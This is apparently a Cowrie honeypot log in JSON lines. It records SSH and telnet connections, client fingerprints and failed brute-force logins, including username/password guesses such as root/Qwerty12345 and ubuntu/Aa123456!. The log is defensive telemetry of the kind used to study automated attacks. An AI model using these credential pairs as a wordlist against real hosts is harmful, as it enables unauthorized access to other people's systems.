{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:13:57.849790Z","src_ip":"81.70.224.28","session":"b2574e33daef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456Yy","message":"login attempt [root/123456Yy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:13:58.820753Z","src_ip":"81.70.224.28","session":"b2574e33daef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"1234567890","message":"login attempt [user1/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:13:59.263520Z","src_ip":"20.6.35.235","session":"2008e96bca7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:14:00.064505Z","src_ip":"81.70.224.28","session":"b2574e33daef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.2","message":"Connection lost after 8.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:14:00.535479Z","src_ip":"20.6.35.235","session":"2008e96bca7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.148.100.146","src_port":33480,"dst_ip":"159.203.135.109","dst_port":22,"session":"9fbba78d1f7a","protocol":"ssh","message":"New connection: 103.148.100.146:33480 (159.203.135.109:22) [session: 9fbba78d1f7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:14:04.445694Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:14:04.455898Z","src_ip":"103.148.100.146","session":"9fbba78d1f7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:14:04.730822Z","src_ip":"103.148.100.146","session":"9fbba78d1f7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty12345","message":"login attempt [root/Qwerty12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:14:05.859788Z","src_ip":"103.148.100.146","session":"9fbba78d1f7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:14:07.141683Z","src_ip":"103.148.100.146","session":"9fbba78d1f7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.157.223.90","src_port":2028,"dst_ip":"159.203.135.109","dst_port":22,"session":"ecfdf9733590","protocol":"ssh","message":"New connection: 123.157.223.90:2028 (159.203.135.109:22) [session: ecfdf9733590]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:14:10.358284Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:14:10.364402Z","src_ip":"123.157.223.90","session":"ecfdf9733590","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:14:10.699685Z","src_ip":"123.157.223.90","session":"ecfdf9733590","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minikube","password":"123","message":"login attempt [minikube/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:14:12.079598Z","src_ip":"123.157.223.90","session":"ecfdf9733590","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.7","message":"Connection lost after 7.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:14:18.056212Z","src_ip":"123.157.223.90","session":"ecfdf9733590","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.174.185","src_port":33164,"dst_ip":"159.203.135.109","dst_port":22,"session":"ffbf450a5e4b","protocol":"ssh","message":"New connection: 167.172.174.185:33164 (159.203.135.109:22) [session: ffbf450a5e4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:14:21.506860Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:14:21.511902Z","src_ip":"167.172.174.185","session":"ffbf450a5e4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:14:21.642543Z","src_ip":"167.172.174.185","session":"ffbf450a5e4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx#$","message":"login attempt [root/1qaz2wsx#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:14:22.004593Z","src_ip":"167.172.174.185","session":"ffbf450a5e4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":36372,"dst_ip":"159.203.135.109","dst_port":23,"session":"f4e3d6e2e2de","protocol":"telnet","message":"New connection: 69.4.83.194:36372 (159.203.135.109:23) [session: f4e3d6e2e2de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:14:23.031036Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:14:23.104137Z","src_ip":"167.172.174.185","session":"ffbf450a5e4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.36.79","src_port":40542,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef479df89fb3","protocol":"ssh","message":"New connection: 103.82.36.79:40542 (10.17.0.5:22) [session: ef479df89fb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:14:34.298928Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:14:34.378206Z","src_ip":"103.82.36.79","session":"ef479df89fb3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:14:34.649153Z","src_ip":"103.82.36.79","session":"ef479df89fb3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:14:36.802022Z","src_ip":"103.82.36.79","session":"ef479df89fb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:14:38.085932Z","src_ip":"103.82.36.79","session":"ef479df89fb3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.221.248","src_port":38856,"dst_ip":"159.203.135.109","dst_port":22,"session":"3257154982bf","protocol":"ssh","message":"New connection: 69.6.221.248:38856 (159.203.135.109:22) [session: 3257154982bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:14:41.191344Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:14:41.195989Z","src_ip":"69.6.221.248","session":"3257154982bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:14:41.312773Z","src_ip":"69.6.221.248","session":"3257154982bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty12345","message":"login attempt [root/Qwerty12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:14:41.801326Z","src_ip":"69.6.221.248","session":"3257154982bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:14:42.918893Z","src_ip":"69.6.221.248","session":"3257154982bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.35326313972473,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:14:59.384205Z","src_ip":"69.4.83.194","session":"f4e3d6e2e2de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.242.174","src_port":20026,"dst_ip":"10.17.0.5","dst_port":22,"session":"180d3c6b6f36","protocol":"ssh","message":"New connection: 178.128.242.174:20026 (10.17.0.5:22) [session: 180d3c6b6f36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:15:07.733728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:15:07.742618Z","src_ip":"178.128.242.174","session":"180d3c6b6f36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:15:07.901408Z","src_ip":"178.128.242.174","session":"180d3c6b6f36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.62.181.92","src_port":42876,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f06f208c3a4","protocol":"telnet","message":"New connection: 50.62.181.92:42876 (159.203.135.109:23) [session: 3f06f208c3a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:15:10.566069Z"}
{"eventid":"cowrie.session.connect","src_ip":"123.157.223.90","src_port":8606,"dst_ip":"159.203.135.109","dst_port":22,"session":"d74e3378f116","protocol":"ssh","message":"New connection: 123.157.223.90:8606 (159.203.135.109:22) [session: d74e3378f116]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:15:13.404169Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:15:13.410011Z","src_ip":"123.157.223.90","session":"d74e3378f116","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:15:13.736745Z","src_ip":"123.157.223.90","session":"d74e3378f116","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Aa123456!","message":"login attempt [ubuntu/Aa123456!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:15:15.030607Z","src_ip":"123.157.223.90","session":"d74e3378f116","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:15:16.374424Z","src_ip":"123.157.223.90","session":"d74e3378f116","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.197.186.7","src_port":27807,"dst_ip":"159.203.135.109","dst_port":22,"session":"2931eaa8c190","protocol":"ssh","message":"New connection: 223.197.186.7:27807 (159.203.135.109:22) [session: 2931eaa8c190]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:15:27.528419Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:15:27.533517Z","src_ip":"223.197.186.7","session":"2931eaa8c190","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:15:27.754828Z","src_ip":"223.197.186.7","session":"2931eaa8c190","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"agent","password":"agent123!","message":"login attempt [agent/agent123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:15:28.814527Z","src_ip":"223.197.186.7","session":"2931eaa8c190","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:15:30.028056Z","src_ip":"223.197.186.7","session":"2931eaa8c190","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.148.100.146","src_port":35400,"dst_ip":"159.203.135.109","dst_port":22,"session":"c36b888e805d","protocol":"ssh","message":"New connection: 103.148.100.146:35400 (159.203.135.109:22) [session: c36b888e805d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:15:38.656695Z"}
